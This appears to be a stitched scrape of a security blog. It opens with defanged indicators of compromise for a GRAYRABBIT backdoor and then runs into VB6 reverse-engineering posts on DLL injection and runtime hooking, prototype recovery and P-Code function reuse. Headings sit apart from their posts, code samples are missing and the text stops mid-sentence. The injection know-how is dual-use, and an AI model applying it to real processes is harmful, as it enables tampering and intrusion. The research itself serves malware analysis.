29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 - 7zp.dll (trojanized DLL loader, internal name: boy.dll)
</li>
<li>
749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e - p (encrypted PE loader shellcode)
</li>
<li>
D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a - GRAYRABBIT backdoor (internal name: core.dll)
</li>
</ul>
Network indicators
<ul>
<li>
mail.uaiubifas[.]top - GRAYRABBIT C2 domain (port 443, raw TCP, RC4-encrypted)
</li>
<li>
noht1ng[.]top - Exploit page hosting domain
</li>
<li>
8.218.50[.]207 - Staging server (Alibaba Cloud, Hong Kong)
</li>
</ul>

One click. Three critical failures. One backdoor.

Gray Rabbits and the Tale of a One-Click Backdoor

While doing malware analysis it is often required to interact with running code to discover how it operates. This can be done through techniques such as API hooking, debugging, system monitoring etc.&nbsp;Some tasks may even require the extraction, reconstitution, or reuse of malware code in order to perform a certain duty. This is common for code such as domain name generation and decryption routines.Anytime there is an easy way to reuse existing functionality, my interest is piqued. The research presented in this post gives us another powerful mechanism of code reuse. The technique we will be detailing today is a method in which we can grant ourselves scripting access to any existing Visual Basic 6 (VB6) executable. This technique does not require any source code modifications.Once implemented, we can access any loaded forms, embedded controls, and public members. This includes access to any class hierarchies held as form level public instances. With some additional work, any live class instance in the program could be accessed in a similar manner. Manually creating new instances of internal classes has also proven possible.&nbsp;Similar <a href="https://www.vbforums.com/showthread.php?892441-Injecting-a-VB6-dll-and-manipulating-the-UI">techniques</a> have been explored in the past. What follows is my run at the problem set.<h2>Background</h2>All VB6 objects are COM Objects which support the <code>IDispatch</code> interface. This is a core feature of the language and allows for them to be trivially utilized by scripting engines. Since it is so easy, it is common for developers to internally add scripting support to their applications for automation purposes.To develop a component that allows for external automation, Visual Basic 6 supports the ActiveX DLL and ActiveX Exe project types. If you have ever used a script which calls <code>CreateObject()</code>, you have already worked with ActiveX COM Objects. Support for COM is integrated deeply into the Windows operating system and entails many powerful features.Knowing that all VB6 COM objects are inherently scriptable, can this functionality be enabled for random executables without source code access?<h2>Probing the runtime</h2>In the exploration of this question, I started examining the runtime to see how I might easily extract live object references and manually implement scriptable access.The first place to look, with the largest impact, is the Forms object.This object holds a reference to the loaded forms for each VB component. Once we have access to an individual form, we then would also have access to all of its embedded controls and public members. This would be a significant first step and where we begin our journey.If we look at a native executable which uses the global Forms object we will see the following code generated:

This is easy enough to replicate and should give us a reference to the global <code>Forms</code> object on demand. (Note each VB component gets its own <code>Global</code> object. An ActiveX DLL can not access the main executables forms unless explicitly passed a reference)Before we can test this theory, we first need a method to execute our own code inside the host VB6 process. DLL injection is the obvious answer, however it is not quite as straight forward as you might think.There are two factors that must be considered when trying to run injection code in a VB6 process.The first is runtime initialization. A certain number of internal steps must occur before you call any runtime functions. In our previous paper<a href="https://decoded.avast.io/davidzimmer/reusing-vb6-p-code-functions/"> Binary Reuse of VB6 PCode Functions</a>, this is what the call to <code>CreateIExprSrvObj</code> accomplished. We could inject into a fully loaded process, however that has some side effects which we will discuss later on. For our purposes we will require injection at process startup.The second thing we must consider is that all VB6 executables use the single threaded apartment model (STA). To use runtime functions, we need to work within the main VB6 thread. Working from other threads will crash the process as the runtime tries to access Thread Local Storage (TLS) members it expects to exist. While people have devised ways to work in multiple threads with VB6, we will avoid it here.Our initial criteria are:<ul><li>must inject at process startup</li><li>can not call runtime functions until initialized</li><li>must only call runtime functions from main VB6 thread &nbsp;</li></ul>The first experiment was to inject at startup and then place a hook on the <code>user32.BeginPaint</code> API. This hook is called from the main VB thread during form creation. At this point the runtime is fully initialized and ready for use. I created a quick mockup and gave it a shot.Here we encounter our first road bump. Apparently <code>vbaNew2</code> can not actually create an instance of this object and throws a <code>Class not registered</code> error. This is strange because we are literally using code lifted from the compiler itself.&nbsp;To validate this result I first confirmed my use of the <code>vbaNew2</code> function with other known good data and then tested it while running from within the hook. Both worked.I then took a closer look at the sample VB application and found a little surprise. In the disassembly above, we see it check to see if a cached object reference is already alive. If so, then creation is skipped.The surprise is, even on its very first use in <code>Form_Load</code>, the object reference is already set. The <code>vbaNew2</code> call is never used and merely a compiler artifact. In fact forcing the call to <code>vbaNew2</code> leads to the same <code>Class not registered</code> error.&nbsp;The Forms object reference is being set before any user code executes. This indicates it must be a special case set by the runtime somewhere. A hardware breakpoint on the <code>objRef_dataSect</code> address quickly confirms this.The VB runtime has an internal function named <code>TipRegAppObject</code>. This function will scan the <code>VBHeader.ProjectInfo.ExternalTable</code> looking for an entry of type 6 with a matching CLSID. If this is found, it will manually set the object instance address.

If the application developer never used the global <code>Forms</code> class, <code>TipRegAppObject</code> has nothing to do and no reference will be set.We can not formally create the class we want, If the developer did not use it, then it will not be cached anywhere that is easy to grab. We could search for another way to try to find it, but we already have a universal spot where it is guaranteed to appear.At this point I decided to hook an internal runtime function. Hooking a hardcoded offset has some downsides like locking us to a specific DLL version. For a research tool, this is an acceptable tradeoff.&nbsp;After some more analysis, I decided to hook one layer above <code>TipRegAppObject </code>at <code>CVBApplication::Init(CVBApplication *this)</code>.This gives us access to the full <code>CVBApplication</code> object. This includes access to more internal classes and a reference to the executable’s <code>VBHeader</code> structure.<h2>Implementation</h2>The initial injection routine now sets two hooks. One on <code>CVBApplication::Init</code> to grab a reference to internal runtime classes. The second on <code>BeginPaint</code> which allows us to trigger in the main VB thread once initialization is complete.The next thing to consider is how to execute our final payload within the main VB6 thread. One technique is to simply load our own ActiveX DLL into the process passing a reference to the main components Forms object. This is basically forcing a plugin model into the application. This should work fine however it is not my first choice.&nbsp;My primary target is to gain some kind of remote scripting access. This is where the magic of the Running Object Table (ROT) comes into play. The ROT is how ActiveX exes register themselves as available for use with <code>GetObject()</code>.The COM object lives in one executable running as a server. External clients then connect and use it from another process.While experimenting with manual ROT registration, I noticed that it worked for form objects, but would not allow access to internal classes.<code>Error: 0x62 - A property or method call cannot include a reference to a private object, either as an argument or as a return value</code>We know that the core implementation of the class fully supports scripting. This is not a problem when using an internal script engine or a plugin model. What difference is there between an ActiveX Exe class, and a standard executable class?Comparing the two in a structure viewer, we find that the <code>Object.ObjectType</code> of ActiveX Exe classes have bit 0x800 set. If we patch this on disk, we now gain full access to all standard classes. The <code>ObjectType</code> can also be patched in memory, but it must be patched before the class is created to take effect. This is why we must inject at process creation.&nbsp;Our <code>CVBApplication::Init</code> hook is a perfect time to do this since we already have the reference to the <code>VBHeader</code> structure and no class instances have been created yet. Our complete <code>CVBApplication_Init</code> hook looks like the following:

The complete <code>BeginPaint</code> hook is below: &nbsp;

In this code we first disable our hook so it will not trigger again. We only needed an initial foothold in the main VB thread.For continued access, we register a new System Menu item and subclass the main window.&nbsp;This allows us to manually trigger new features we might want in the future. With the window subclass in place, I also implemented a basic InterProcess Communications (IPC) server for programmatic access. These additions are not required but are useful for future exploration.&nbsp;Finally we register the main executable’s global <code>Forms</code> object in the ROT as <code>remote.forms</code>.With this complete everything is now up and running!A Windows Script Host (WSH) Javascript that interacts with our test application is shown below:

Even Python can be used: &nbsp;

<h2>Conclusion</h2>In this post we have covered how to make any VB6 application remotely scriptable using built in features of the language and operating system.While we did encounter several snags along the way, everything turned out to be manageable and resulted in a successful trial.For a brief recap of events:<ul><li>Target VB6 process is started with an injection DLL</li><li>New thread hooks&nbsp; <code>CVBApplication_Init</code> and <code>BeginPaint</code></li><li><code>CVBApplication_Init</code> hook:<ul><li>Stores a reference to internal VB objects during runtime initialization</li><li>Walks <code>VBHeader.ProjectInfo.ObjectTable</code> setting all classes public</li></ul></li><li><code>BeginPaint</code> hook:<ul><li>Runs from main VB6 thread</li><li>Adds a system menu item and subclasses main window for IPC (optional)</li><li>Registers internal <code>Forms</code> object in the ROT&nbsp;</li></ul></li><li>IPC allows for bidirectional communications between injector and target process.&nbsp;</li></ul>Our first inroads are based on the forms collection for simplicity and depth of impact. This technique can be applied to any COM object instance.&nbsp;In addition to the forms collection, access to other internal objects can be intercepted with hooks on various runtime API such as <code>vbaNew</code>, <code>vbaNew2</code>, <code>vbaFreeObj</code> etc.&nbsp;Some thoughts on future innovations of this technique:<ul><li>track new class instances and add them to an exposed VB Collection in ROT</li><li>injector keeps a visual manager of live objects (using IPC callbacks)&nbsp;</li><li>injector implements its own script host for integration</li><li>Ability to stall host process while accessing transitory objects</li><li>artificially increment reference counts to keep instances alive.&nbsp;</li><li>Trigger arbitrary class/form creation using IPC and <code>vbaNew</code> (already tested)</li></ul>Full source code for this research is included in the <a href="https://github.com/avast/ioc/tree/master/VB-Research/vbOpenScript">following git repository</a>. This includes an injector, DLL, test app, and demonstration scripts. The code is being released as a proof of concept work. Adaptations may be required for specific targets. This research is just the beginning of what is possible with this technique.

Script any VB6 executable remotely

Scripting Arbitrary VB6 Applications

I was recently probing into the Visual Basic 6 format trying to see how the <code>IDispatch</code> implementation resolved vtable offsets for functions.While digging through the code, I came across several structures that I had not yet explored. These structures revealed a trove of information valuable to reverse engineers.As we will show in this post, type information from internal structures will allow us to recover function prototypes for public object methods in standard VB6 executables. This information is related to <code>IDispatch</code> internals and does not require a type library like those found with ActiveX components. For our task of malware analysis, a static parsing approach will be of primary interest.<h2>Background</h2>Most VB6 code units are COM objects which support the <code>IDispatch</code> interface. This allows them to be easily passed around as generic types and used with scripting clients.<code>IDispatch</code> allows functions to be called dynamically by name. The following VB6 code will operate through <code>IDispatch methods</code>:

This simple code demonstrates several things:<ul><li data-list-item-id="e8b0dc420f9ca263691d71fd35bd2246c">VB6 can call the proper method from a generic object type</li><li data-list-item-id="eb08243794b4af108251fcb8bd36e5ac4">named arguments in the improper order are correctly handled</li><li data-list-item-id="ed66fb8793a8d3b924614e76ef9924948">values are automatically coerced to the correct type if possible (here the string “5” is converted to long)</li></ul>If we add a DebugBreak statement, we can also see that the string “myFunc” is passed in as an argument to the underlying <code>__vbaLateMemNamedCallLd</code> function. This allows <code>IDispatch::Invoke</code> to call the proper function by string name.From this we can intuit that the <code>IDispatch</code> implementation must know the complete function prototype along with argument names and types for correct invocation to occur.We can further test this by changing an argument name, adding unexpected arguments, or setting an argument type to something that can not be coerced too long.Each of these conditions raises an error before the function is called.Note that there is no formal type library when this code is compiled as a standard executable. This type information is instead embedded somewhere within the binary itself.So where is this type information stored, and how can we retrieve it?<h2>The Hunt</h2>If we start probing the runtime at BASIC_CLASS_Invoke we will encounter internal functions such as <code>FuncSigOfMember</code>, <code>CoerceArg</code>, and so on. As we debug the code, we can catch access to known VB6 structures and watch where the code goes from there.Before we get deeper, I will give a quick high-level overview of the Visual Basic 6 file format.VB6 binaries have a series of nested structures that layout all code units, external references, forms etc. They start with the <code>VBHeader</code> and then branch out, covering the various aspects of the file.In the same way that the Windows loader reads the PE file to set up proper memory layout, the VB runtime (msvbvm60.dll) reads in the VB6 file structures to ready it for execution within its environment.Good references for the VB6 file format include:<ul><li data-list-item-id="e00c5a02f2265f6af40f089c1514b0979"><a href="http://sandsprite.com/vb-reversing/files/Alex_Ionescu_vb_structures.pdf">Visual Basic Image Internal Structure Format – Alex Ionescu</a></li><li data-list-item-id="e562a056f5756c8c49f8f4d6602694573"><a href="https://github.com/VBGAMER45/Semi-VB-Decompiler">Semi-VBDecompiler source code – VBGamer45</a></li><li data-list-item-id="e2007a9f155f342bc074c3d481bbdc4bf"><a href="http://sandsprite.com/vb-reversing/vb-decompiler/">vb-decompiler.theautomaters.com message board</a></li></ul>The structure and fields names I use in this document primarily come from the Semi-VBDecompiler source. A useful structure browser is the free vbdec disassembler: <a href="http://sandsprite.com/vbdec/">http://sandsprite.com/vbdec/</a>For our work, we will start with the <code>ObjectTable</code> found through the <code>VBHeader-&gt;ProjectInfo-&gt;ObjectTable</code>.The <code>ObjectTable-&gt;ObjectArray</code> holds the number of Object structures as defined by its <code>ObjectCount</code> field. An example is shown below:

This is the top-level structure for each individual code object. Here we will find the <code>ProcNamesArray</code> containing <code>ProcCount</code> entries. This array reveals the public method names defined for the object. &nbsp;

<h2>The Meat</h2>The <code>Object-&gt;ObjInfo</code> structure will also lead us to further information of interest. <code>ObjInfo-&gt;PrivateObject</code> will lead us to the main structure we are interested in for this blog post.I could not find public documentation on this structure or those below it. What follows is what I have put together through analysis.Development of this information had me working across four different windows simultaneously.<ul><li data-list-item-id="ec0fc0a47e1276c5ef548dc9966b475b0">disassembly of the vb runtime</li><li data-list-item-id="ec99185eb5dfd2b6d13786d4ff9373f37">disassembly of the target executable</li><li data-list-item-id="e50475e609a97dc4062cb03b956952abb">debugger stepping through the code and syncing the disasm views</li><li data-list-item-id="e8154633209850bb60678d5240d63cf52">specialized tool to view and search vb6 structures</li></ul>The following is my current definition of the <code>PrivateObj</code> structure:

In the debugger, I saw vb runtime code accessing members within this structure to get to the vtable offsets for an Invoke call. I then compiled a number of source code variations while observing the effects on the structure. Some members are still unknown, but the primary fields of interest have been identified.The <code>PrivateObj</code> structure leads us to arrays describing each code object’s public function, variable, and event type information.

Counts for the event and variable arrays are held directly within the <code>PrivateObj</code> itself. To get the count for the public functions, we have to reference the top-level <code>Object-&gt;ProcCount</code> field.Note that there is a null pointer in the <code>FuncType</code> array above. This corresponds to a private function in the source code. If you look back, you will also see that same null entry was found in the <code>ProcNames</code> array listed earlier.Each one of these type information structures is slightly different. First, we will look at what I am calling the <code>FuncTypDesc</code> structure.I currently have it defined as follows:

The structure displayed above is for the following prototype: &nbsp;

This structure is where we start to get into the real meat of this article. The number of types defined for the method is held within the <code>argSize</code> field. The first three bits are only set for property types.<ul><li data-list-item-id="ee5320c6fcf8c509554cf6635df6df350">111 is a property Set</li><li data-list-item-id="e0fac92e377651bda06cd0cc4063dfa8e">010 is a property Let</li><li data-list-item-id="e2869793093ddc098a656d5a138f77a51">001 is a property Get (bFlags bit one will additionally be set)</li></ul>The type count will be the remaining bits divided by four.If the <code>bFlags</code> bit one is set, the last entry represents the method’s return value. In all other scenarios, the types represent the arguments from one to arg count. VB6 supports a maximum of 59 user arguments to a method.An <code>argSize</code> of 0 is possible for a sub routine that takes no arguments and has no return value.The <code>vOff</code> field is the vtable offset for the member. The lowest bit is used as a flag in the runtime and cleared before use. Final adjusted values will all be 32-bit aligned.The <code>optionalVals</code> field will be set if the method has optional parameters which include default values.<code>LpAryArgNames</code> is a pointer to a string array. It is not null- terminated, so you should calculate the argument count before walking it.After the structure, we see several extra bytes. These represent the type information for the prototype. This buffer size is dynamic.A mapping of these values was determined by compiling variations and comparing output for changes. The following values have been identified.

The above code, shows that <code>0x20</code>, <code>0x40</code>, and <code>0x80</code> bits have been set to represent <code>ByRef</code>, <code>Array</code>, and <code>Optional</code> specifiers. These are combined with the base types identified in the enumeration. These do not align with the standard <code>VARIANT VARENUM</code> type values.The comobj and internal flags are special cases that embed an additional 32-bit value after the type specifier byte.This will link to the targets <code>ObjInfo</code> structure for internal objects.If the <code>comobj</code> type is encountered, an offset to another structure will be found that specifies the objects library guid, clsid, library name, and dll path. We will show this structure later when we cover public variables.It is important to note that these offsets appear to always be 32-bit aligned. This can introduce null padding between the type byte and the data offset. Null padding has also been observed between individual type bytes as well. Parsers will have to be tolerant of these variations.Below is the type definition for the following prototype:

Next up comes a quick look at the <code>PubVarDesc</code> structure. Here is a structure for the following prototype: &nbsp;

This example shows flag <code>0x1D</code> to declare an external COM object type. An offset then follows this to a structure which defines the details of the COM object itself.The value <code>0x3c</code> in the <code>varOffset</code> field is where the data for this variable is stored. For VB6 COM objects the <code>ObjPtr()</code> returns a structure where the first member is a pointer to the objects <code>Vtable</code>. The areas below that contain class instance data. Here <code>myPublicVar</code> would be found at <code>ObjPtr()+0x3c</code>.Finally, we will look at an <code>EventDesc</code> structure for the following prototype:

This structure closely follows the layout of the <code>PubFuncDesc</code> type. One thing to note, however, is that I have not currently been able to locate a link to the Event name strings embedded within the compiled binaries.In practice, they are embedded after the strings of the <code>ProcNamesArray</code>.Note that the class can raise these events to call back to the consumer. There is no implementation of an event routine within the code object that defines it.<h2>Conclusion</h2>In this post, we have detailed several structures which will allow analysts to parse the VB object structures and extract function prototypes for public object members.This type information is included as part of the standard IDispatch plumbing for every user-generated VB6 form, class, user control, etc. This does not apply to functions in BAS code modules as they are not COM objects internally.It is also interesting to note that VB6 embeds this type data right along with the other internal structures in the .text section of the PE file. No type library is required, and this feature can not be disabled.While the structures portion of the .text section can contain various compiler-generated native code stubs, all user code falls into the memory range as defined by the <code>VBHeader.ProjectInfo.StartOfCode</code> and <code>EndOfCode</code> offsets.The framework required to analyze a VB6 binary and resolve the information laid out in this posting can be fairly complex. Luckily open-source implementations already exist to help ease the burden.Structure and prototype extraction routines have already been included in the free vbdec disassembler. This tool can also generate IDC scripts to apply the appropriate structure definitions to a disassembly.VB6 binaries are typically considered hard to analyze. Extracting internal function prototypes will be a very welcome addition for reverse engineers.

Unveiling Function Prototypes in VB6 Executables: IDispatch Insight

Recovery of function prototypes in Visual Basic 6 executables

Reusing binary code from malware is one of my favorite topics. Binary re-engineering and being able to bend compiled code to your will is really just an amazing skill. There is also something poetic about taking malware decryption routines and making them serve you.Over the years this topic has come up again and again. Previous articles have included emit based rips <a href="https://decoded.avast.io/davidzimmer/reusing-vb6-p-code-functions/#ref">[1]</a>, exe to dll conversion <a href="https://decoded.avast.io/davidzimmer/reusing-vb6-p-code-functions/#ref">[2]</a>, emulator based approaches <a href="https://decoded.avast.io/davidzimmer/reusing-vb6-p-code-functions/#ref">[3]</a>, and even converting malware into an <code>IPC</code> based decoder service <a href="https://decoded.avast.io/davidzimmer/reusing-vb6-p-code-functions/#ref">[4]</a>.The above are all native code manipulations which makes them something you can work with directly. Easy to disassemble, easy to debug, easy to patch. (Easy being a relative term of course :))Lately I have been working on <code>VB6 P-Code</code>, and developing a P-Code debugger. One goal I had was to find a way to call a P-Code function, ripped from a malware, with my own arguments. It is very powerful to be able to harness existing code without having to recreate it (including all of its nuances.)Is this even possible with P-Code? As it turns out, it is possible, and I am going to show you how.The distilled knowledge below is small slice of what was unraveled during an 8 month research project into the VB6 runtime and P-code instruction set.This paper includes 11 code samples which showcase a wide variety of scenarios utilizing this technique <a href="https://decoded.avast.io/davidzimmer/reusing-vb6-p-code-functions/#ref">[5]</a>.Note on offsets In several places throughout this paper there may be VB runtime offsets presented. All offsets are to a reference copy with <code>md5: EEBEB73979D0AD3C74B248EBF1B6E770</code> <a href="https://decoded.avast.io/davidzimmer/reusing-vb6-p-code-functions/#ref">[6]</a>. Microsoft was kind enough to publish debug symbols for this build including those for the P-Code engine handlers.Barriers to entry The <code>VB6</code> runtime was designed to load executables, dlls, and ocx controls in an undocumented format. This format contains many complex interlinked structures that layout embedded forms, class structures, dependencies etc. During startup the runtime itself also requires certain initialization steps to occur as it prepares itself for use.If we wish to execute <code>P-Code</code> buffers out of the context of a <code>VB6</code> host executable there are several hurdles we must overcome:<h2>VB Runtime Initialization&nbsp;</h2>Standard runtime initialization for executables takes place through the <code>ThunRTMain</code> export. This is the primary entry point for loading a <code>VB6</code> executable. This function takes 1 argument that is the address of the top level <code>VB Header</code> structure. This structure contains the full complex hierarchy of everything else within.&nbsp;While we can utilize this path for our needs, there are easier ways to go about it. Starting from <code>ThunRTMain</code> can also create some problems on process termination so we will avoid it.&nbsp;In 2003 when exploring VB6’s ability to generate standard dlls I found a second path to runtime initialization through the <code>CreateIExprSrvObj</code> export.

This export is simple to call and automatically performs the majority of runtime initialization. Some <code>TLS</code> structure fields however are left out. In testing, most things operate fine. The only errors&nbsp;discovered occur when trying to use native VB file commands, <code>MsgBox</code> or the built in <code>App</code> object.With a little extra leg work it has been found that the <code>TLS</code> structures can be manually completed to regain access to most of this native functionality.&nbsp;Finally if the P-Code buffer creates <code>COM</code> objects, a manual call to <code>CoInitilize</code> must also be performed.&nbsp;<h2>Replicating basic object structures</h2>Once <code>CreateIExprSrvObj</code> has been executed, we can call into P-Code streams as many times as we want&nbsp;from our loader code. Structure initialization is minimal and only requires the following fields:&nbsp;

If the P-Code routines utilize global variables then the <code>codeObj.aModulePublic</code> field will also have to be set to a writable block of memory. This has been demonstrated in the <code>globalVar</code> and <code>complex_globals</code> examples. We can even pre-initialize these variables here if we desire.&nbsp;In addition to filling out these primary structures, we also have to recreate the constant pool as expected by the specific P-Code. Finally we must also update a structure field in the P-Code to point to our current object Info structure.&nbsp;While this may sound complex, there is a generator utility which automatically does all of the work for you in the majority of cases. A more detailed explanation of the following code will be presented in later sections.&nbsp;

<h2>Finding an entrypoint to transition into P-Code execution&nbsp;</h2>Execution of the VB6 P-Code occurs by calling the <code>ProcCallEngine</code> export of the VB runtime. The stub below is the same mechanism used internally by VB compiled applications to transfer execution&nbsp;between sub functions.

The <code>offset_sub_main</code> argument moved into <code>EDX</code> is the address of the target P-Code functions trailing structure that defines attributes of the function. We will discuss this structure in the following sections.&nbsp;The asm stub above shows the default scenario of calling a P-Code function with no arguments. A video showing this running in a debugger is available <a href="https://decoded.avast.io/davidzimmer/reusing-vb6-p-code-functions/#ref">[7]</a>.&nbsp;In the <code>decrypt_test</code> example we explore how to call a ripped function with a complex prototype and a <code>Variant</code> return value. This example demonstrates reusing an extracted P-Code decoder from a&nbsp;malware executable. Here we can call the extracted P-Code function passing it our own data:

<h2>Understanding P-Code function layout&nbsp;</h2>P-Code functions in compiled executables are linked by a structure that trails the actual byte code.&nbsp;This structure is called <code>RTMI</code> in the VB runtime symbols and the reversing community has taken to it as <code>ProcDscInfo</code>. A partial excerpt of this structure is shown below:&nbsp;

When we rip a P-Code function from a compiled binary, we must also extract the configured <code>RTMI</code>&nbsp;structure. <code>ProcCallEngine</code> requires this information in order to run a P-Code routine successfully.&nbsp;When&nbsp;we relocate the P-Code block outside of the target binary, we must also update the link to our new object Info table.This is what is being set in the generated code:&nbsp;

Here the <code>rc4</code> buffer contains the entire ripped function, starting with the P-Code and then followed by the <code>RTMI</code> structure which starts at offset <code>0x3e4</code>. We then patch in the address of our manually filled out object Info into the <code>RTMI.pObjTable</code> field. Once this is complete, the P-Code is ready for execution.<h3>Code Generation&nbsp;</h3>When developing a method such as this, we must start with known quantities. For our purposes we are writing our own test code which is done normally in the VB6 Integrated Development Environment.&nbsp;This code is then extracted using a utility which generates the C or VB6 source necessary to&nbsp;execute it independently.The generator tool we are using in this paper is the free <code>VBDec</code> <a href="https://decoded.avast.io/davidzimmer/reusing-vb6-p-code-functions/#ref">[8]</a> P-Code debugger.&nbsp;While exploring this technique, the sample code has been optimized to follow several conventions for clarity. For this research all code samples were ripped from functions in a single&nbsp;module. This design was chosen so that all sub function access occurs through the <code>ImpAdCall</code>*&nbsp;opcodes which draw directly against function pointers in the const pool.&nbsp;Code taken from instanced form or class compilation units would require support to replicate <code>VTable</code> layouts for the <code>*Vcall</code> opcodes. While this can be done I will leave that as future work for now.Samples are available that make extensive use of callbacks to integrate tightly with the host code. This is useful for integrating debug output through the C host in a simple manner.&nbsp;Callbacks are accessed through the standard VB API <code>Declare</code> syntax which is a core part of the language and is well documented. Below are examples of sending both numeric and string debug info from the P-Code to the host.&nbsp;

Giving VB direct access to the host functions, is as simple as setting their address in the corresponding constant pool slot.&nbsp;

Ripping functions with <code>VBDec</code> is simple. Simply right click on the function in the left hand <code>treeview</code> and choose the <code>Rip</code> menu option. <code>VBDec</code> will generate all of the embedding data for you. Multiple functions can be ripped at once by right clicking on the top level module name.&nbsp;&nbsp;A corresponding const pool will also be auto-generated along with stubs to update the object Info pointers and <code>asm</code> stubs to call interlinked sub functions.Once extraction/generation is complete it is left up to the developer to integrate the data into one of the sample frameworks provided.A spectrum of samples are provided ranging from very simple, to quite complex. Samples include:

<h3>Understanding the Const Pool&nbsp;</h3>Each compilation unit such as a module, class, form etc gets its own constant pool which is shared for&nbsp;all of the functions in that file. Pool entries are built up on demand as the file is processed by the compiler from top to bottom.The constant pool can contain several types of entries such as:&nbsp;<ul><li data-list-item-id="ee6b4bd8aa0dcdb80bc93d0819d9664e4">string values (<code>BSTRs</code> specifically)</li><li data-list-item-id="ed2e3a5a24160558afcb4aa9507e98dd8">VB method native call stubs</li><li data-list-item-id="eaa1d3ba9accc4996aa489395fb357544">API import native call stubs</li><li data-list-item-id="e0142322121c16e02b3118012d46752be"><code>COM GUIDs</code></li><li data-list-item-id="ecce8fe65e42b29582087ce343f236964"><code>COM CLSID / IID</code> pairs held in <code>COMDEF</code> structures</li><li data-list-item-id="ead44aca2fe3e4097d1135d3abc61bf01"><code>CodeObject</code> base offsets (not applicable to our work here)</li><li data-list-item-id="e93f0816f4ef683642acade1119ff8a21">internal runtime <code>COM</code> objects filled out at startup (not supported)&nbsp;</li></ul><code>VBDec</code> is capable of automatically deciphering these entries and figuring out what they represent.&nbsp;Once the correct type has been determined, it can generate the C or VB source necessary to fill out the const pool in the host code.&nbsp;The constant pool viewer form allows you to manually view these entries.&nbsp;In testing it has been performing extremely well outputting complete const pools which require little to no modification.&nbsp;For callback integration with the host, if you use <code>“dummy”</code> as the dll name, it will automatically be&nbsp;assumed as a host callback. Otherwise it will be translated literally as a <code>LoadLibrary/GetProcAddress</code>&nbsp;call.Some const pool entries may show up as Unknown. When you click on a specific entry the raw data at that offset will be loaded into the lower textbox. If this data shows all <code>00 00 00 00’s</code> then this is a&nbsp;reference to an internal VB runtime <code>COM</code> object that would normally be set to a live instance at&nbsp;initialization.This has been seen when using the <code>App</code> Object. Normally this would be set <code>@6601802F</code> inside <code>_TipRegAppObject</code> function of the runtime on initialization. These types of entries are not currently supported using this technique (and would not make sense in our context anyways.)&nbsp;Interlinked sub functions are supported. A corresponding native stub will be generated along with an entry in the const pool for it.&nbsp;Early binding and late binding to <code>COM</code> objects is also supported. Late binding is done entirely through strings in the const pool. For early binding you will seen a <code>COMDEF</code> structure and <code>CLSID / IID</code> data&nbsp;automatically generated.The following is taken from the early binding sample which loads the <code>Sapi.SpVoice</code> <code>COM</code> object.&nbsp;

Generation of this code is generally automatic by <code>VBDec</code> but there may be times where the tool can not automatically detect which kind of const pool entry is being specified. In these cases you may have to&nbsp;manually explore the const pool and extract the data yourself.In the above scenario the file data at the const pool address may look similar to the following:

If we visualize this as a <code>COMDEF</code> structure we can see the values <code>0, 0x401230, 0x401240, 0</code>. Looking&nbsp;at the file offsets for these virtual addresses we find the GUIDs given above.&nbsp;String entries are held as <code>BSTRs</code>, which is a length prefixed unicode string. Since we are in complete&nbsp;control of the const pool, and <code>BSTRs</code> can encapsulate binary data. It is possible to include encrypted&nbsp;strings directly in the const pool using <code>SysAllocStringByteLen</code>. The <code>binary_ConstPool</code>* samples demonstrate this technique. You can also dynamically&nbsp;swap out const pool entries to change functionality as the P-Code runs. An example of this is found in&nbsp;the early bind sample.&nbsp;Note: It is important to use the <code>SysAlloc*</code> string functions to get real <code>BSTR’s</code> for const pool entries. As the strings get used by the runtime, it may try to realloc or release them.<h3>Extended TLS Initialization</h3>The VB6 runtime stores several key structures in <code>Thread Local Storage (TLS)</code>. Several functions of the runtime require these structures to be initialized. These structures are critical for VB error handling routines and can also come into play for file access functions.Below is the code for the <code>rtcGetErl</code> export. This function retrieves the user specified error line number associated with the last exception that occurred.

From this snippet of code we can see that the runtime stores the <code>TLS</code> slot value at offset <code>66110000</code>. Once the actual memory address is retrieved with <code>TlsGetValue</code> The structure field <code>0x98</code> is then returned as the stored last error line number. In this manner we can begin to understand the meaning of the various structure offsets.Even without a full analysis of the complete <code>0xA8</code> byte structure we can compare the values seen between a fully initialized process with those initialized through the <code>CreateIExprSrvObj</code> export.Once diffed 2 main empty slots are observed which normally point to other allocations.<ul><li data-list-item-id="ea45af3f05bd956c7e14d0f9b39ccb953">field <code>0x18</code> – normally set <code>@ 66015B25</code> in <code>EbSetContextWorkerThread</code></li><li data-list-item-id="e6f3821dc0105fcabdb126758334a5815">field <code>0x48</code> – normally set <code>@ 66018081</code> in <code>RegAppObjectOfProject</code></li></ul>Field <code>0x48</code> is used for access to the internal VB App. <code>COM</code> object. This object does not make sense to use in our scenario and does not trigger any exceptions if left blank. If we had to replicate the <code>COM</code> object for compatibility with existing code we could however insert a dummy object.The allocation at offset <code>0x18</code> is only required if we wish to use built in VB file operation commands or the <code>MsgBox</code> function.If demanded for compatibility with ripped code, It was interesting to see if a manual allocation would allow the runtime to operate properly.The following code was created to dynamically lookup the <code>TLS</code> slot value, retrieve the <code>tlsEbthread</code> memory offset and then manually link in a new allocation to the missing <code>0x18</code> field.

Once the above code was integrated full access was restored to the native VB file access functions. Again this extended initialization is not always required.<h3>Debugging integration’s&nbsp;</h3>When testing this technique it is best to start with your own code that you control. This way you can get familiar with it and develop a feel for working with (and recognizing) the different function&nbsp;prototypes.The first step is to write and debug your VB6 code as normal in the VB6 IDE. In preparation for&nbsp;running as a byte buffer, you can then pepper the VB code with progress callbacks to API Declare routines which normally access C dll exports.. You don’t actually have to write the dll, but you can. The calls are identical when hosted internally from a native C loader (or even a VB hosted Addressof callback routine).&nbsp;If you are calling into a P-Code function with a specific prototype, this is the trickiest part of the&nbsp;integration. Samples are available which pass in <code>int</code>, <code>structures</code>, <code>references</code>, <code>Variants</code>, <code>bools</code> and <code>byte arrays</code>. You will have to be very aware if arguments are being passed in <code>ByVal</code>, or the default <code>ByRef</code>&nbsp;(pointers).Also pay attention to the function return types. If no argument/return type is defined, it defaults to a&nbsp;<code>COM</code> Variant. VB functions receive variant return values by pushing an extra empty one onto the stack before calling the function. Simple numeric return values are passed back in <code>EAX</code> as normal.When interacting with callbacks make sure the callbacks are defined as <code>__stdcall</code>. All of the standard VB6 &lt;–&gt; C development knowledge applies. You can cut your teeth on these rules by working with standard C dlls and debugging in Visual Studio from the dll side while launching a VB6 exe host.When in doubt you can create simple tests to debug just the function prototypes. For the complex prototype decryptor sample given above, I had the VB6 <code>sub main()</code> code call the <code>rc4</code> function with expected parameters to 